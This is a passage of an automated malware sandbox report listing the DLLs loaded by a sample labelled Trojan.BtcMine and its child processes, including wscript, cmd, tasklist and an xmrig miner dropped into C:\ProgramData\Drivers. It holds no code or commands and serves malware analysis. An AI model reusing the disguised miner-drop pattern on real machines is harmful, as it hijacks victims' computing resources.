Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: version.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: dxgidebug.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: sfc_os.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: sspicli.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: rsaenh.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: uxtheme.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: dwmapi.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: cryptbase.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: riched20.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: usp10.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: msls31.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: kernel.appcore.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: windowscodecs.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: textshaping.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: textinputframework.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: coreuicomponents.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: coremessaging.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: ntmarta.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: wintypes.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: wintypes.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: wintypes.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: windows.storage.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: wldp.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: propsys.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: profapi.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: linkinfo.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: ntshrui.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: srvcli.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: cscapi.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: edputil.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: urlmon.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: iertutil.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: netutils.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: windows.staterepositoryps.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: policymanager.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: msvcp110_win.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: appresolver.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: bcp47langs.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: slc.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: userenv.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: sppc.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: onecorecommonproxystub.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: onecoreuapcommonproxystub.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: pcacli.dll | Jump to behavior |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Section loaded: mpr.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: version.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: kernel.appcore.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: uxtheme.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: sxs.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: vbscript.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: amsi.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: userenv.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: profapi.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: wldp.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: msasn1.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: cryptsp.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: rsaenh.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: cryptbase.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: msisip.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: wshext.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: scrobj.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: mpr.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: scrrun.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: windows.storage.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: propsys.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: edputil.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: urlmon.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: iertutil.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: srvcli.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: netutils.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: windows.staterepositoryps.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: sspicli.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: wintypes.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: appresolver.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: bcp47langs.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: slc.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: sppc.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: onecorecommonproxystub.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: onecoreuapcommonproxystub.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: cmdext.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: kernel.appcore.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: uxtheme.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: windows.storage.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: wldp.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: propsys.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: profapi.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: edputil.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: urlmon.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: iertutil.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: srvcli.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: netutils.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: windows.staterepositoryps.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: policymanager.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: msvcp110_win.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: sspicli.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: wintypes.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: appresolver.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: bcp47langs.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: slc.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: userenv.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: sppc.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: onecorecommonproxystub.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: onecoreuapcommonproxystub.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: pcacli.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: mpr.dll | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Section loaded: sfc_os.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: version.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: mpr.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: framedynos.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: dbghelp.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: srvcli.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: netutils.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: kernel.appcore.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: wbemcomn.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: winsta.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: amsi.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: userenv.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: profapi.dll | Jump to behavior |
Source: C:\Windows\System32\find.exe | Section loaded: ulib.dll | Jump to behavior |
Source: C:\Windows\System32\find.exe | Section loaded: fsutilext.dll | Jump to behavior |
Source: C:\Windows\System32\timeout.exe | Section loaded: version.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: version.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: mpr.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: framedynos.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: dbghelp.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: srvcli.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: netutils.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: kernel.appcore.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: wbemcomn.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: winsta.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: amsi.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: userenv.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: profapi.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: version.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: kernel.appcore.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: uxtheme.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: sxs.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: vbscript.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: amsi.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: userenv.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: profapi.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: wldp.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: msasn1.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: cryptsp.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: rsaenh.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: cryptbase.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: msisip.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: wshext.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: scrobj.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: mpr.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: scrrun.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: windows.storage.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: propsys.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: edputil.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: urlmon.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: iertutil.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: srvcli.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: netutils.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: windows.staterepositoryps.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: sspicli.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: wintypes.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: appresolver.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: bcp47langs.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: slc.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: sppc.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: onecorecommonproxystub.dll | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Section loaded: onecoreuapcommonproxystub.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: version.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: mpr.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: framedynos.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: dbghelp.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: srvcli.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: netutils.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: kernel.appcore.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: wbemcomn.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: winsta.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: amsi.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: userenv.dll | Jump to behavior |
Source: C:\Windows\System32\tasklist.exe | Section loaded: profapi.dll | Jump to behavior |
Source: C:\Windows\System32\find.exe | Section loaded: ulib.dll | |
Source: C:\Windows\System32\find.exe | Section loaded: fsutilext.dll | |
Source: C:\Windows\System32\cmd.exe | Section loaded: cmdext.dll | |
Source: C:\Windows\System32\cmd.exe | Section loaded: apphelp.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: iphlpapi.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: userenv.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: cryptbase.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: powrprof.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: umpdc.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: uxtheme.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: mswsock.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: dhcpcsvc6.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: dhcpcsvc.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: dnsapi.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: napinsp.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: pnrpnsp.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: wshbth.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: nlaapi.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: winrnr.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: kernel.appcore.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: explorerframe.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: cryptsp.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: rsaenh.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: rasadhlp.dll | |
Source: C:\ProgramData\Drivers\xmrig.exe | Section loaded: fwpuclnt.dll | |
Source: C:\Windows\System32\timeout.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: mpr.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: framedynos.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: dbghelp.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: srvcli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: netutils.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: kernel.appcore.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: wbemcomn.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: winsta.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: amsi.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: userenv.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: profapi.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: mpr.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: framedynos.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: dbghelp.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: srvcli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: netutils.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: kernel.appcore.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: wbemcomn.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: winsta.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: amsi.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: userenv.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: profapi.dll | |
Source: C:\Windows\System32\find.exe | Section loaded: ulib.dll | |
Source: C:\Windows\System32\find.exe | Section loaded: fsutilext.dll | |
Source: C:\Windows\System32\timeout.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: mpr.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: framedynos.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: dbghelp.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: srvcli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: netutils.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: kernel.appcore.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: wbemcomn.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: winsta.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: amsi.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: userenv.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: profapi.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: mpr.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: framedynos.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: dbghelp.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: srvcli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: netutils.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: kernel.appcore.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: wbemcomn.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: winsta.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: amsi.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: userenv.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: profapi.dll | |
Source: C:\Windows\System32\find.exe | Section loaded: ulib.dll | |
Source: C:\Windows\System32\find.exe | Section loaded: fsutilext.dll | |
Source: C:\Windows\System32\timeout.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: kernel.appcore.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: uxtheme.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: sxs.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: vbscript.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: amsi.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: userenv.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: profapi.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: wldp.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: msasn1.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: cryptsp.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: rsaenh.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: cryptbase.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: msisip.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: wshext.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: scrobj.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: mpr.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: scrrun.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: windows.storage.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: propsys.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: edputil.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: urlmon.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: iertutil.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: srvcli.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: netutils.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: windows.staterepositoryps.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: wintypes.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: appresolver.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: bcp47langs.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: slc.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: sppc.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: onecorecommonproxystub.dll | |
Source: C:\Windows\System32\wscript.exe | Section loaded: onecoreuapcommonproxystub.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: mpr.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: framedynos.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: dbghelp.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: srvcli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: netutils.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: kernel.appcore.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: wbemcomn.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: winsta.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: amsi.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: userenv.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: profapi.dll | |
Source: C:\Windows\System32\cmd.exe | Section loaded: cmdext.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: version.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: mpr.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: framedynos.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: dbghelp.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: srvcli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: netutils.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: sspicli.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: kernel.appcore.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: wbemcomn.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: winsta.dll | |
Source: C:\Windows\System32\tasklist.exe | Section loaded: amsi.dll | |
